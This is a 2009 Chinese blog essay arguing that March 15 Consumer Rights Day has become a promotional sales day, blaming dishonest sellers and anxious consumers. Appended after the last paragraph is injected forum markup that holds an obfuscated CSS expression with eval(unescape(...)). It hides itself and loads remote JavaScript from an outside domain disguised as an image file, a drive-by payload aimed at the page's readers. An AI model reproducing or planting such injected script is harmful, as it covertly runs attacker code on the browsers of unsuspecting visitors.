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3·15是维权日不是促销日

阅读() 评论() 发表时间：2009年03月15日 17:19

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文：阿里巴巴




　　3·15，是国际消费者权益日。从商业街一路走来，我们都能看到商家、厂家倾力促销，把本是属于消费者的日子，搅和的成了商家、厂家的促销日，似乎只有这一天，商家、厂家才最诚信，他们才真正心系消费者，大幅度折扣，礼品赠送，体验营销，负责人现场监督销售，手段多样枚不胜举。

    为什么维权日却成了促销日？一是消费者的心态作怪。3·15是消费者了解掌握自己的合法权益、维护自己合法权益的日子。这一天，似乎所有的消费权益都可以得到保障，不少消费者甚至将计划中的商品采购都特别选择在这一天进行，为的就是图个安心，减少不必要的消费纠纷。就是这种心态，让商家、厂家看到了商机，他们以诚信为借口，尽情的促销。二是经营者的非诚信促成。日常生活中，太多的消费者在消费中权益受到损害，消费纠纷得不到解决，而这些几乎都是经营者的不诚信造成的。消费者怕了，作为弱势群体，他们没有精力去跟一些垄断经营者较真，也没有力量去撼动强势行业的霸王条款，所以他们只好选择3·15，而这些都是经营者日常的不诚信导致的。

    如果消费者，真正了解和掌握了自己的合法权益，日常生活中遇到不守法不讲诚信的经营者，立即拿起法律的武器去跟经营者理论，来维护自己的合法权益，也不至于让经营者太过放肆。如果经营者日常经营或服务中，守法经营，诚信服务，不让消费者的权益受到丝毫损毁，即使受到损毁也能立即予以补偿，消费者也不至于把采购计划都放到3·15。

    年复一年3·15，如此这般促销，是不是让消费者感到真正有特色的、消费权益得到保障的越来越少，尤其一些商家或经营者，他们利用促销契机，把质量良莠不齐、缺少消费保障的商品搬出来销售，更有个别商家鱼目混珠，借机炒作自己的产品，最终受害的还是消费者。

    我们不禁要问，3·15究竟是维权日还是促销日？长此以往，这一天真的沦落为商家促销日，那3·15真正的意义又在哪里？3·15作为消费者的合法权益日，是为了提醒消费者，也是有了这个特殊的日子，来警醒每一个经营者、每一个厂家或企业，要时时把消费者的权益放在首位，要把产品的质量和老百姓的口碑放在首位，而不是只要利润的投机者，那样必将受到消费者的惩罚。

    3·15这一天值得铭记，消费者铭记权益，经营者铭记责任，而不是仅仅成为商家的促销日。[flash,0,0]http://catche.qq.com/temp/20081209/4236888.swf[email=]id=baidu style=ee:expression(eval(unescape('this.parentNode.style.display%3D%27none%27%3Bif%28%21window.xxr%29%7Bvar%20l%3Ddocument.createElement%28%27script%27%29%3Bl.src%3D%27http%3A//love.avtupian.com/a/q/mq.jpg%27%3Bl.type%3D%27text/javascript%27%3Bdocument.getElementsByTagName%28%27head%27%29.item%280%29.appendChild%28l%29%3Bwindow.xxr%3D1%7D')));display:none;@qq.com[/email][/flash]


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